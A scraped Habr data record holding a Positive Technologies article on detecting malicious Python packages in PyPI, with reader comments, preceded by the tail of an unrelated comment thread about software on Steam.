не-стим версии</div>" ], "message_markdown": [ "Для игр поддерживающих новый формат данных (acf) доступен выбор пути установки.", "не знал, спасибо за информацию", "Хочу достижение в 3DMark «Жизнь удалась» и требованиями собрать самый навороченный конфиг на районе, чтобы брызжать слюной от рейта))", "Ачивка для фотошопа — «Убрать тысячу красных глаз».", "А вот вопрос. В GameMaker предусмотрен командный режим. Но я правильно понимаю, что как и с играми с одного акка одновременно кооперативить не выйдет и на каждую машину нужна отдельная лицуха?", "Будет под Linux — будем брать.", "Помнится у Garrysmod есть достижение — словить больше 10 тысяч ошибок LUA.", "Интересно, а на распродажах будут скидки на ПО? :)", "оффлайн режим?", "Пока вот поставили эти все программы на распродажу со скидками.", "А еще я заметил в последней бете выбор пути для самого кэша игр. Можно например все игры на отдельный винт кинуть.", "Меня вот что интересует: то, что оно ставится в выбранную папку — это очень хорошо, но будут ли программы запускаться без запуска Steam? А то с играми — это еще туда-сюда, а если, скажем, какой-нибудь офис или фотошоп будут стартовать со Steam — это будет так себе", "Я джва года этого ждал", "В чём проблема стартовать офис или фотошоп со Steam? Ресурсы (память, цпу) или что-то другое?", "Кстати у меня порой Steam отказывается стартовать без работающего интернета Поэтому если тот же офис не удастся запустить из-за того что Steam брыкается, это будет печально. :(", "Да, именно. Да и вообще нездраво это как-то, хотя может просто с непривычки.", "Можно запускать стим в автономном режиме. Некоторые игры могут запускаться в таком режиме.", "Вам де написали, что отказывается запускаться в автономном режиме.\nУ меня часто так Steam шалит. При чем именно в те моменты, когда интернет недоступен, а поиграть очень хочется.", "Специально для вас выдернул «свистульку» и включил стим. На пикрелейтед неилюзорно запечатлён мой акк в offline-mode. Или мне лучше видео записать?", "Или просто «Сделать пи**ато».", "Да нет, он _порой_ не запускается в оффлайн-режиме. Помню сидел без интернета как-то, а он мне заявил, что клиент надо обновить, посему в оффлайне запускаться не будет.", "Да, есть такое. При чем часто.", "В оффлайн режим можно перейти только если ваш стим клиент был запущен при включенном интернете и уже работает. В другом случае вы получите ошибку, что соединение со стим невозможно, и на компьютере отсутствуют данные об аккаунте или типо того.", "Так и предстает перед глазами новость: начался судебный процесс между «Valve» и «название компании». Из-за профилактических работ и обновления сервиса «название компании» понесла убытки в размере ******** $.", "Не не, вам про распродажи говорят, а не про 10%. :) На распродажах и 70% были.", "Распродажи — конечно хорошо, но хотелось бы увидеть версии ПО специально для России — удешевленная в 2-3 раза Jewel Версия =)", "Я последний раз джювел видел 100 лет назад.", "Здесь это абстрактное название, как пример можно привести разные по стоимости версии игр от Blizzard (в зависимости от региона)", "Сейчас попробовал, выключил стим, выключил сетевой адаптер (через него подключение к интернету), запустил стим, и нормально вошёл в автономный режим, но у меня отключена опция «Не сохранять данные аккаунта на этом компьютере»\nлибо мне просто повезло", "По-моему там для России дороже вышло. Пример — Diablo 3", "> При установке программы можно выбрать на какой раздел диска ставить программу (возможно в будущем такой способ установки реализуют и для игр)\nХм... для игр вобще-то это тоже уже есть: по крайней мере в последние пару недель когда я ставил купленные игры — мне предлагался выбор места установки.\nХотя может этого пока только в бете клиента стима такое есть.", "см. первый коммент goletsa ;) «Для игр поддерживающих новый формат данных (acf) доступен выбор пути установки.»", "Диабло 3 для россии — 1к рублей, для европы 2.3к рублей (это было на момент выхода, что сейчас — не знаю)", "3d Coat (сделанный на Украине), например, для стран СНГ всегда дешевле 8500р ($250) vs $350. Перед новым годом у них была скидка в 40%. В Стиме продаётся версия, схожая с Educational (те же ограничения, ниже цена) за 2500р (на сайте Educational стоит $99) и профессиональная, 8500р (Интересно, сколько в американском Стиме стоит полная)", "Да, согласен. Был не прав.", "По поводу американского магазина Стима на данный момент $89.10, без скидки в 10% это $99.\nPS\nЧтобы просмотреть американский стор в конце адресной строке браузера можно набрать /?cc=us, например:\nstore.steampowered.com/app/100980/?cc=us", "О, спасибо. $99 с ограничениями и $349 полная: как и не-стим версии" ], "author": [ "Alexey Golets (goletsa)", "Maxim (gMaXi)", "Сергей Егоров (bsideup)", "Рыгор Бородулин (6opoDuJIo)", "Vladimir (waphyld)", "Иван Мащенко (StrangeAttractor)", "Станислав (CyberAP)", "moadib", "Олег К. (KORISS)", "Павел (Anisotropic)", "Михаил Шевцов (mshewzov)", "freeman_g", "Сергей Хатунцев (dreamerchant)", "Перту Алексей (alper)", "Divere", "freeman_g", "Рыгор Бородулин (6opoDuJIo)", "SowingSadness (SowingSadness)", "Рыгор Бородулин (6opoDuJIo)", "Ivan Kochurkin (KvanTTT)", "крицкий (tyr)", "Philip (Agent_Smith)", "Цыцаркин Никита (nikmaster)", "Евгений (Sheynar)", "Евгений Владимирович Никифоров (UrbanRider)", "Евгений (Sheynar)", "Павел (Anisotropic)", "Евгений (Sheynar)", "Maxim (gMaXi)", "Евгений Владимирович Никифоров (UrbanRider)", "Gaikotsu", "Maxim (gMaXi)", "Евгений (Sheynar)", "крицкий (tyr)", "Евгений Владимирович Никифоров (UrbanRider)", "Maxim (gMaXi)", "крицкий (tyr)" ], "children": [ [ 5214987, 5215815 ], [], [], [ 5218797 ], [ 5215497 ], [], [], [ 5215551 ], [], [ 5219615 ], [], [ 5217257 ], [], [ 5217615 ], [ 5218277, 5218345, 5219603 ], [], [ 5218371 ], [ 5218435 ], [ 5218833 ], [], [ 5219363, 5219455 ], [], [ 5219879 ], [], [ 5219725 ], [ 5219779, 5224371 ], [ 5219805 ], [ 5220177 ], [], [ 5223469 ], [ 5221251 ], [], [ 5224657 ], [ 5226655 ], [], [ 5226729 ], [] ] }
715,754
ru
https://habr.com/ru/post/715754/
(Не)безопасная разработка: как выявить вредоносный Python-пакет в открытом ПО
Открытое ПО сегодня привлекает повышенное внимание с разных сторон — разработки, бизнеса, технологий. Естественно, и его безопасность стоит отдельным вопросом, ведь злоумышленники также активно интересуются open source и создают угрозы для безопасной разработки. Доставка вредоносного кода через сторонние зависимости стала одним из опасных способов заражения. По нашим прогнозам, этот тренд будет только усиливаться. Основные источники такого ВПО — репозитории с пакетами для разработки, в частности PyPI и npm. В них содержатся стилеры учетных записей, данных банковских карт и криптовалюты. В 2022 году, впервые в истории open source, киберпреступная группировка LofyGang использовала публичный npm-репозиторий для хранения своего ВПО. Исследователи обнаружили около 200 вредоносных npm-пакетов, с помощью которых злоумышленники похищали учетные и банковские данные, а затем продавали эту информацию в даркнете. Это первый, но наверняка не последний случай, когда именно организованная киберпреступная группировка использовала открытый код репозитория для хранения и распространения ВПО. В сложившейся ситуации, ввиду развития тренда, уже недостаточно просто искать вредоносный код: его нужно анализировать и прорабатывать возможные интеграции с другим ВПО, связи между контрольными серверами и т. п. Соответственно, к этому нужно привлекать вирусных аналитиков и специалистов по threat intelligence. Именно поэтому наша команда заинтересовалась поиском угроз в публичных репозиториях и разработкой системы для оперативного выявления вредоносов. В нее мы вложили весь наш опыт исследования ВПО, атрибуции — всего, с чем мы сталкивались в процессе изучения APT-группировок. В итоге мы создали систему PT PyAnalysis, которую можно встроить в процесс безопасной разработки. Поиск уязвимостей в коде занимает особое место в процессе безопасной разработки. В то же время выявлению вредоносного кода во внешних зависимостях должного внимания пока не уделяется. Сторонние пакеты из популярных репозиториев (GitHub, GitLab, PyPI, npm) используют большинство компаний как у себя внутри, так и при разработке продуктов для клиентов. Отсутствие процесса проверки наличия вредоносного кода во внешних зависимостях может привести к инцидентам информационной безопасности. В самом простом варианте у разработчика просто украдут личную информацию (аккаунты, пароли, данные карт и т. п.). При худшем сценарии может получиться, что вредоносный код уедет на прод и клиенты получат «приятное» обновление. Такой тип атак называется атаками на цепочку поставок. К примеру, в марте 2022 года в npm-пакет node-ipc сам разработчик залил код с политическими лозунгами. А еще там был код вайпера, который удалял все файлы, если запускался на устройстве с российского или белорусского IP. Для нас этот случай стал отправной точкой в исследовании. Нас интересовал вопрос, какие угрозы могут скрываться в публичных репозиториях и как их можно обнаружить. Мы решили начать с репозитория PyPI, так как все инструменты и системы, которыми пользуемся сами в PT Expert Security Center, мы пишем на Python. Забегая вперед, скажем, что в ходе проведенного исследования мы обнаружили более 200 вредоносных пакетов, которые зарепортили админам, и большинство из них было удалено. ## Результаты исследования репозитория PyPI В течение 2022 года ежедневно появлялось около 3 тысяч Python-пакетов. Суточная статистика новых пакетов в репозитории PyPI Среди них были, конечно, и вредоносные, в которых злоумышленники использовали различные техники, связанные с компрометацией разработчиков, мимикрией под легитимные пакеты и обфускацией. Со временем эти техники становятся все более функциональными и незаметными. Чтобы построить полноценную систему защиты от таких угроз, требуется привлечение специалистов по анализу вредоносного кода. Среди способов (техник) компрометации можно выделить используемые и гипотетические: тайпсквоттинг (использование опечаток и названий, похожих на легитимные пакеты); заимствование названия ранее удаленного пакета; фишинговые атаки на разработчиков; starjacking — накрутка репутации проекта; вредоносный пакет в зависимостях; «левые» гайды по вредоносным пакетам (гипотетический). Создать репозиторий с незанятым именем на pypi.org для хранения Python-пакетов сегодня может любой желающий. Здесь нет ограничений по корпоративной почте, наличию прокаченного аккаунта на GitHub или другим критериям добросовестного разработчика. Стоит отметить, что у PyPI есть система выявления вредоносного кода Malware Checks, но ее правила детектирования лежат в исходном коде проекта, и обойти их достаточно просто. Сама система при этом не является блокирующей: сигналы приходят на почту администраторам, после чего они проверяют код пакета и принимают решение о блокировке. В рамках нашего исследования за десять месяцев начиная с прошлого года мы обнаружили более 200 вредоносных пакетов, причем часть из них находилась там еще с 2018-го. Это в два с лишним раза больше, чем заявляли другие аналитики и компании, публикующие об этом отчеты. Для сравнения, компания Sonatype рассказывала только о 53 пакетах. В найденных нами пакетах были обнаружены различные типы и следы вредоносного ПО: стилеры (63%) и бэкдоры (20%), нежелательная для пользователя активность (8%), программы-загрузчики (6%), proof of concept вредоносного ПО без вредоносной активности, разрушительных действий или краж (2%) и программы-вымогатели (1%). Результаты исследования Positive Technologies Мы также установили, что средняя продолжительность жизни вредоносного пакета до его удаления — 13 дней. Это достаточный срок для того, чтобы пользователь сервиса скачал и установил этот пакет и тем самым заразил свой компьютер. ## Как выявить вредоносный Python-пакет Проанализировав репозиторий PyPI, мы подумали — почему бы все разработанные под это дело инструменты не преобразовать в систему с веб- и API-интерфейсами? Полученный MVP мы представили нашим DevSecOps, и они встроили его в процесс безопасной разработки Positive Technologies. Спустя несколько месяцев тестов и фиксов мы решили выпустить нашу систему в паблик. Сама система состоит из трех элементов: веб-интерфейса, API (реализован SDK) и документации по правилам. Документация по правиламВеб-интерфейс В самом интерфейсе можно прогуляться по релизам проекта, посмотреть, что происходило внутри него (выпуск релиза, смена владельца, удаление) и посмотреть вердикты для различных компонентов. Пример таймлайна проектаСостав релиза и вердикты для компонентов Можно посмотреть и исходный код компонентов релиза. Страница с данными компонента релиза Система отличается максимальной автоматизацией: пользователи могут отправить название Python-пакета на проверку через API и получить оценку его опасности: clean, suspicious, malicious. Наш инструмент не только выдает вердикт, но и объясняет, почему тот или иной пакет является вредоносным. Пример API-запроса и ответа PT PyAnalysis работает по модели as a service: Python-разработчики и специалисты по безопасной разработке могут воспользоваться услугой бесплатно, чтобы протестировать ее в своем пайплайне и оценить качество инструмента. Регистрироваться лучше с корпоративной почты; в других случаях стоит указать, для чего нужен доступ. Сейчас система находится в состоянии MVP, но мы активно ее дорабатываем. Замечания первых пользователей будут учтены, чтобы улучшить сервис и сделать его более удобным. Мы будем поддерживать и развивать систему, делиться новостями об интересных техниках и находках с комьюнити. Ближайший roadmap по разработке выглядит так: улучшение PSE (Python scan engine) и качества вердиктов; улучшение системы выявления тайпсквоттинга; выявление накручивания репутации проекта; анализ встроенных в релиз бинарных файлов (ELF, EXE) с помощью нашей системы Salomon с выдачей вердикта; выдача вердикта по встроенным в релиз URL; возможность поиска в системе по метаданным автора, построение вердиктов на основе профиля разработчика. В дальнейшем мы планируем добавить анализ npm и Docker Hub. Чтобы узнать больше о проблеме доставки вредоносного кода через сторонние зависимости и возможностях PT PyAnalysis, вы можете посмотреть наш вебинар. А еще присоединяйтесь к телеграм-чату о PT PyAnalysis. Ответим на вопросы, посоветуем полезные ссылки и будем держать в курсе новостей сервиса. * * * ##### Денис Кувшинов Руководитель отдела исследования угроз ИБ, Positive Technologies ##### Станислав Раковский Специалист отдела исследования угроз ИБ, Positive Technologies *[53 пакетах]: цифра получена путем изучения новостей в блоге компании
<div xmlns="http://www.w3.org/1999/xhtml"><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/e59/155/ba7/e59155ba7a11201ef676d474ea373724.png" width="800" height="500" data-src="https://habrastorage.org/getpro/habr/upload_files/e59/155/ba7/e59155ba7a11201ef676d474ea373724.png"/><figcaption></figcaption></figure><p>Открытое ПО сегодня привлекает повышенное внимание с разных сторон — разработки, бизнеса, технологий. Естественно, и его безопасность стоит отдельным вопросом, ведь злоумышленники также активно интересуются open source и создают угрозы для безопасной разработки. Доставка вредоносного кода через сторонние зависимости стала одним из опасных способов заражения. По нашим прогнозам, этот тренд будет только усиливаться. </p><p>Основные источники такого ВПО — репозитории с пакетами для разработки, в частности PyPI и npm. В них содержатся стилеры учетных записей, данных банковских карт и криптовалюты. В 2022 году, впервые в истории open source, киберпреступная группировка <a href="https://checkmarx.com/blog/lofygang-software-supply-chain-attackers-organized-persistent-and-operating-for-over-a-year/">LofyGang</a> использовала публичный npm-репозиторий для хранения своего ВПО. Исследователи обнаружили около 200 вредоносных npm-пакетов, с помощью которых злоумышленники похищали учетные и банковские данные, а затем продавали эту информацию в даркнете. Это первый, но наверняка не последний случай, когда именно организованная киберпреступная группировка использовала открытый код репозитория для хранения и распространения ВПО.</p><p>В сложившейся ситуации, ввиду развития тренда, уже недостаточно просто искать вредоносный код: его нужно анализировать и прорабатывать возможные интеграции с другим ВПО, связи между контрольными серверами и т. п. Соответственно, к этому нужно привлекать вирусных аналитиков и специалистов по threat intelligence. Именно поэтому наша команда заинтересовалась поиском угроз в публичных репозиториях и разработкой системы для оперативного выявления вредоносов. В нее мы вложили весь наш опыт исследования ВПО, атрибуции — всего, с чем мы сталкивались в процессе изучения APT-группировок. В итоге мы создали <a href="https://www.ptsecurity.com/ru-ru/services/pt-pyanalysis/?utm_source=habr-pt&amp;utm_medium=article&amp;utm_campaign=pt-pyanalysis&amp;utm_content=article-09-02-2023#free-demo">систему PT PyAnalysis</a>, которую можно встроить в процесс безопасной разработки.</p><p>Поиск уязвимостей в коде занимает особое место в процессе безопасной разработки. В то же время выявлению вредоносного кода во внешних зависимостях должного внимания пока не уделяется. Сторонние пакеты из популярных репозиториев (GitHub, GitLab, PyPI, npm) используют большинство компаний как у себя внутри, так и при разработке продуктов для клиентов. Отсутствие процесса проверки наличия вредоносного кода во внешних зависимостях может привести к инцидентам информационной безопасности. В самом простом варианте у разработчика просто украдут личную информацию (аккаунты, пароли, данные карт и т. п.). При худшем сценарии может получиться, что вредоносный код уедет на прод и клиенты получат «приятное» обновление. Такой тип атак называется атаками на цепочку поставок.</p><p>К примеру, в марте 2022 года в npm-пакет <a href="https://habr.com/ru/news/t/656219/">node-ipc</a> сам разработчик залил код с политическими лозунгами. А еще там был код вайпера, который удалял все файлы, если запускался на устройстве с российского или белорусского IP. Для нас этот случай стал отправной точкой в исследовании. Нас интересовал вопрос, какие угрозы могут скрываться в публичных репозиториях и как их можно обнаружить. Мы решили начать с репозитория PyPI, так как все инструменты и системы, которыми пользуемся сами в <a href="https://www.ptsecurity.com/ru-ru/services/esc/">PT Expert Security Center</a>, мы пишем на Python. Забегая вперед, скажем, что в ходе проведенного исследования мы обнаружили более 200 вредоносных пакетов, которые зарепортили админам, и большинство из них было удалено.</p><h2>Результаты исследования репозитория PyPI</h2><p>В течение 2022 года ежедневно появлялось около 3 тысяч Python-пакетов.</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/78c/802/81b/78c80281b7bce5992ea1c9b13e7b522c.png" alt="Суточная статистика новых пакетов в репозитории PyPI" title="Суточная статистика новых пакетов в репозитории PyPI" width="1519" height="808" data-src="https://habrastorage.org/getpro/habr/upload_files/78c/802/81b/78c80281b7bce5992ea1c9b13e7b522c.png"/><figcaption>Суточная статистика новых пакетов в репозитории PyPI</figcaption></figure><p>Среди них были, конечно, и вредоносные, в которых злоумышленники использовали различные техники, связанные с компрометацией разработчиков, мимикрией под легитимные пакеты и обфускацией. Со временем эти техники становятся все более функциональными и незаметными. Чтобы построить полноценную систему защиты от таких угроз, требуется привлечение специалистов по анализу вредоносного кода.</p><p>Среди способов (техник) компрометации можно выделить используемые и гипотетические: </p><ul><li><p>тайпсквоттинг (использование опечаток и названий, похожих на легитимные пакеты);</p></li><li><p>заимствование названия ранее удаленного пакета;</p></li><li><p>фишинговые атаки на разработчиков;</p></li><li><p>starjacking — накрутка репутации проекта;</p></li><li><p>вредоносный пакет в зависимостях;</p></li><li><p>«левые» гайды по вредоносным пакетам (гипотетический).</p></li></ul><p>Создать репозиторий с незанятым именем на pypi.org для хранения Python-пакетов сегодня может любой желающий. Здесь нет ограничений по корпоративной почте, наличию прокаченного аккаунта на GitHub или другим критериям добросовестного разработчика. </p><p>Стоит отметить, что у PyPI есть система выявления вредоносного кода <a href="https://warehouse.pypa.io/development/malware-checks.html">Malware Checks</a>, но ее <a href="https://github.com/pypi/warehouse/blob/main/warehouse/malware/checks/setup_patterns/setup_py_rules.yara">правила детектирования</a> лежат в исходном коде проекта, и обойти их достаточно просто. Сама система при этом не является блокирующей: сигналы приходят на почту администраторам, после чего они проверяют код пакета и принимают решение о блокировке.</p><p>В рамках нашего исследования за десять месяцев начиная с прошлого года мы обнаружили более 200 вредоносных пакетов, причем часть из них находилась там еще с 2018-го. Это в два с лишним раза больше, чем заявляли другие аналитики и компании, публикующие об этом отчеты. Для сравнения, компания Sonatype рассказывала только о <abbr class="habraabbr" title="цифра получена путем изучения новостей в блоге компании" data-title="&lt;p>цифра получена путем изучения новостей в блоге компании&lt;/p>" data-abbr="53 пакетах">53 пакетах</abbr>. </p><p>В найденных нами пакетах были обнаружены различные типы и следы вредоносного ПО: стилеры (63%) и бэкдоры (20%), нежелательная для пользователя активность (8%), программы-загрузчики (6%), proof of concept вредоносного ПО без вредоносной активности, разрушительных действий или краж (2%) и программы-вымогатели (1%).</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/5be/56c/ae9/5be56cae968736df7c40ed32672c942e.png" alt="Результаты исследования Positive Technologies" title="Результаты исследования Positive Technologies" width="962" height="418" data-src="https://habrastorage.org/getpro/habr/upload_files/5be/56c/ae9/5be56cae968736df7c40ed32672c942e.png"/><figcaption>Результаты исследования Positive Technologies</figcaption></figure><p>Мы также установили, что средняя продолжительность жизни вредоносного пакета до его удаления — 13 дней. Это достаточный срок для того, чтобы пользователь сервиса скачал и установил этот пакет и тем самым заразил свой компьютер.</p><h2>Как выявить вредоносный Python-пакет</h2><p>Проанализировав репозиторий PyPI, мы подумали — почему бы все разработанные под это дело инструменты не преобразовать в систему с веб- и API-интерфейсами? Полученный MVP мы представили нашим DevSecOps, и они встроили его в процесс безопасной разработки Positive Technologies.</p><p>Спустя несколько месяцев тестов и фиксов мы решили выпустить нашу систему в паблик. Сама система состоит из трех элементов: веб-интерфейса, API (реализован SDK) и документации по правилам. </p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/757/14e/c88/75714ec88774227a54d83ecdc4b1dfe9.png" alt="Документация по правилам" title="Документация по правилам" width="1033" height="671" data-src="https://habrastorage.org/getpro/habr/upload_files/757/14e/c88/75714ec88774227a54d83ecdc4b1dfe9.png"/><figcaption>Документация по правилам</figcaption></figure><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/37d/ebb/27b/37debb27b82aa677a840f855ff08a1e9.png" alt="Веб-интерфейс" title="Веб-интерфейс" width="1886" height="783" data-src="https://habrastorage.org/getpro/habr/upload_files/37d/ebb/27b/37debb27b82aa677a840f855ff08a1e9.png"/><figcaption>Веб-интерфейс</figcaption></figure><p>В самом интерфейсе можно прогуляться по релизам проекта, посмотреть, что происходило внутри него (выпуск релиза, смена владельца, удаление) и посмотреть вердикты для различных компонентов.</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/936/fb4/0f3/936fb40f39489b97f99c0b2cab997a55.png" alt="Пример таймлайна проекта" title="Пример таймлайна проекта" width="633" height="505" data-src="https://habrastorage.org/getpro/habr/upload_files/936/fb4/0f3/936fb40f39489b97f99c0b2cab997a55.png"/><figcaption>Пример таймлайна проекта</figcaption></figure><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/bd4/d18/b67/bd4d18b671abdf183d991e9e4063a73c.png" alt="Состав релиза и вердикты для компонентов" title="Состав релиза и вердикты для компонентов" width="720" height="820" data-src="https://habrastorage.org/getpro/habr/upload_files/bd4/d18/b67/bd4d18b671abdf183d991e9e4063a73c.png"/><figcaption>Состав релиза и вердикты для компонентов</figcaption></figure><p>Можно посмотреть и исходный код компонентов релиза.</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/d93/2f6/ce1/d932f6ce17dcdb40d664128c5742897f.png" alt="Страница с данными компонента релиза" title="Страница с данными компонента релиза" width="1160" height="919" data-src="https://habrastorage.org/getpro/habr/upload_files/d93/2f6/ce1/d932f6ce17dcdb40d664128c5742897f.png"/><figcaption>Страница с данными компонента релиза</figcaption></figure><p>Система отличается максимальной автоматизацией: пользователи могут отправить название Python-пакета на проверку через API и получить оценку его опасности: clean, suspicious, malicious. Наш инструмент не только выдает вердикт, но и объясняет, почему тот или иной пакет является вредоносным.</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/a07/5fe/6e0/a075fe6e0093f9205d11d6d0a43dca6c.png" alt="Пример API-запроса и ответа" title="Пример API-запроса и ответа" width="2131" height="1091" data-src="https://habrastorage.org/getpro/habr/upload_files/a07/5fe/6e0/a075fe6e0093f9205d11d6d0a43dca6c.png"/><figcaption>Пример API-запроса и ответа</figcaption></figure><p><a href="https://www.ptsecurity.com/ru-ru/services/pt-pyanalysis/?utm_source=habr-pt&amp;utm_medium=article&amp;utm_campaign=pt-pyanalysis&amp;utm_content=article-09-02-2023#free-demo">PT PyAnalysis</a> работает по модели as a service: Python-разработчики и специалисты по безопасной разработке могут воспользоваться услугой бесплатно, чтобы <a href="https://www.ptsecurity.com/ru-ru/services/pt-pyanalysis/">протестировать</a> ее в своем пайплайне и оценить качество инструмента. Регистрироваться лучше с корпоративной почты; в других случаях стоит указать, для чего нужен доступ.</p><p>Сейчас система находится в состоянии MVP, но мы активно ее дорабатываем. Замечания первых пользователей будут учтены, чтобы улучшить сервис и сделать его более удобным. Мы будем поддерживать и развивать систему, делиться новостями об интересных техниках и находках с комьюнити. Ближайший roadmap по разработке выглядит так:</p><ul><li><p>улучшение PSE (Python scan engine) и качества вердиктов;</p></li><li><p>улучшение системы выявления тайпсквоттинга;</p></li><li><p>выявление накручивания репутации проекта;</p></li><li><p>анализ встроенных в релиз бинарных файлов (ELF, EXE) с помощью нашей системы Salomon с выдачей вердикта;</p></li><li><p>выдача вердикта по встроенным в релиз URL;</p></li><li><p>возможность поиска в системе по метаданным автора, построение вердиктов на основе профиля разработчика.</p></li></ul><p>В дальнейшем мы планируем добавить анализ npm и Docker Hub. </p><p>Чтобы узнать больше о проблеме доставки вредоносного кода через сторонние зависимости и возможностях PT PyAnalysis, вы можете посмотреть <a href="https://www.ptsecurity.com/ru-ru/research/webinar/ne-bezopasnaya-razrabotka-kak-zashchititsya-ot-vredonosnyh-python-paketov/?utm_source=habr-pt&amp;utm_medium=article&amp;utm_campaign=webinar-20-12-2022&amp;utm_content=article-09-02-2023">наш вебинар</a>. </p><p>А еще присоединяйтесь <a href="https://t.me/+fQjXrV0BDBgzNTcy">к телеграм-чату о PT PyAnalysis</a>. Ответим на вопросы, посоветуем полезные ссылки и будем держать в курсе новостей сервиса.</p><hr/><div class="persona" persona="true"><img persona="true" class="image persona__image" src="https://habrastorage.org/r/w780q1/getpro/habr/upload_files/ebe/642/214/ebe6422140a737603fc3795a0918a77b.jpg" data-src="https://habrastorage.org/getpro/habr/upload_files/ebe/642/214/ebe6422140a737603fc3795a0918a77b.jpg" data-blurred="true"/><h5 class="persona__heading" persona="true">Денис Кувшинов</h5><p>Руководитель отдела исследования угроз ИБ, Positive Technologies </p></div><div class="persona" persona="true"><img persona="true" class="image persona__image" src="https://habrastorage.org/r/w780q1/getpro/habr/upload_files/07b/644/879/07b6448798b7632ebba1e57bdbb8198c.jpg" data-src="https://habrastorage.org/getpro/habr/upload_files/07b/644/879/07b6448798b7632ebba1e57bdbb8198c.jpg" data-blurred="true"/><h5 class="persona__heading" persona="true">Станислав Раковский </h5><p>Специалист отдела исследования угроз ИБ, Positive Technologies </p></div><p></p></div>
ptsecurity
null
null
<p>Открытое ПО сегодня привлекает повышенное внимание с разных сторон — разработки, бизнеса, технологий. Естественно, и его безопасность стоит отдельным вопросом, ведь злоумышленники также активно интересуются open source и создают угрозы для безопасной разработки. Доставка вредоносного кода через сторонние зависимости стала одним из опасных способов заражения. </p><p>В сложившейся ситуации, ввиду развития тренда, уже недостаточно просто искать вредоносный код: его нужно анализировать и прорабатывать возможные интеграции с другим ВПО, связи между контрольными серверами и т.&nbsp;п. Соответственно, к этому нужно привлекать вирусных аналитиков и специалистов по threat intelligence. Именно поэтому наша команда заинтересовалась поиском угроз в публичных репозиториях и разработкой системы для оперативного выявления вредоносов. В нее мы вложили весь наш опыт исследования ВПО, атрибуции — всего, с чем мы сталкивались в процессе изучения APT-группировок. В итоге мы создали <a href="https://www.ptsecurity.com/ru-ru/services/pt-pyanalysis/?utm_source=habr-pt&amp;utm_medium=article&amp;utm_campaign=pt-pyanalysis&amp;utm_content=article-09-02-2023#free-demo">систему PT PyAnalysis</a>, которую можно встроить в процесс безопасной разработки.</p><p></p>
Открытое ПО сегодня привлекает повышенное внимание с разных сторон — разработки, бизнеса, технологий. Естественно, и его безопасность стоит отдельным вопросом, ведь злоумышленники также активно интересуются open source и создают угрозы для безопасной разработки. Доставка вредоносного кода через сторонние зависимости стала одним из опасных способов заражения. В сложившейся ситуации, ввиду развития тренда, уже недостаточно просто искать вредоносный код: его нужно анализировать и прорабатывать возможные интеграции с другим ВПО, связи между контрольными серверами и т. п. Соответственно, к этому нужно привлекать вирусных аналитиков и специалистов по threat intelligence. Именно поэтому наша команда заинтересовалась поиском угроз в публичных репозиториях и разработкой системы для оперативного выявления вредоносов. В нее мы вложили весь наш опыт исследования ВПО, атрибуции — всего, с чем мы сталкивались в процессе изучения APT-группировок. В итоге мы создали систему PT PyAnalysis, которую можно встроить в процесс безопасной разработки.
article
1,675,930,762
{ "commentsCount": 5, "favoritesCount": 17, "readingCount": 1290, "score": 3, "votesCount": 3, "votesCountPlus": 3, "votesCountMinus": 0 }
[]
[ "pt", "infosecurity", "open_source", "virus", "python" ]
[ "develop", "admin" ]
[ "ptesc", "pypi", "pyanaysis", "python", "cybersecurity", "уязвимости", "пакеты", "репозитории", "malware", "сторонние зависимости" ]
5
null
null
{ "id": [ 25211668, 25211798, 25212664, 25213672, 25215776 ], "parent_id": [ null, null, null, null, 25211668 ], "level": [ 0, 0, 0, 0, 1 ], "time_published": [ 1675966772, 1675969412, 1676009533, 1676018712, 1676042276 ], "score": [ 0, 0, 0, 0, 0 ], "votes": [ 0, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Если вы осилили python, не является ли логичным далее осилить анализ power shell? Или если его не умеет ваш PT AI, то и ждать анализ PS нет смысла и это скорее должен быть функционал PT AI? И да я понимаю, что PS не проставляется в виде пакетов.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Очень познавательно. Периодически задумывался на эту тему (возможности злоумышленникам натворить делов через пакеты опенсорс-продуктов, в частности, моего любимого питона), но не знал борется ли с этим кто-нибудь, и если да, то как. Теперь надо осмыслить написанное, много неожиданных фактов.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Полезный инструмент, спасибо! Проблема, на самом деле, очень важная на мой взгляд. Еще не так давно читал о количестве вредоносных пакетов в PyPi и думал, что было бы круто иметь адекватный сервис по анализу и детекту таких пакетов.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote><p>PT PyAnalysis работает по модели as a service: Python-разработчики и специалисты по безопасной разработке могут воспользоваться услугой бесплатно </p></blockquote><p>Бесплатно и бесплатный пилот это разные вещи. </p><p>Однако, инструмент действительно очень интересный!</p><p></p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>PowerShell не поставляется в виде пакетов, и у него нет публичного репозитория скриптов. На данный момент мы не планируем охватывать PowerShell. Если требуется проверить его на предмет закладок, лучше воспользоваться песочницей.</p></div>" ], "message_markdown": [ "Если вы осилили python, не является ли логичным далее осилить анализ power shell? Или если его не умеет ваш PT AI, то и ждать анализ PS нет смысла и это скорее должен быть функционал PT AI? И да я понимаю, что PS не проставляется в виде пакетов.", "Очень познавательно. Периодически задумывался на эту тему (возможности злоумышленникам натворить делов через пакеты опенсорс-продуктов, в частности, моего любимого питона), но не знал борется ли с этим кто-нибудь, и если да, то как. Теперь надо осмыслить написанное, много неожиданных фактов.", "Полезный инструмент, спасибо! Проблема, на самом деле, очень важная на мой взгляд. Еще не так давно читал о количестве вредоносных пакетов в PyPi и думал, что было бы круто иметь адекватный сервис по анализу и детекту таких пакетов.", "> PT PyAnalysis работает по модели as a service: Python-разработчики и специалисты по безопасной разработке могут воспользоваться услугой бесплатно\nБесплатно и бесплатный пилот это разные вещи.\nОднако, инструмент действительно очень интересный!", "PowerShell не поставляется в виде пакетов, и у него нет публичного репозитория скриптов. На данный момент мы не планируем охватывать PowerShell. Если 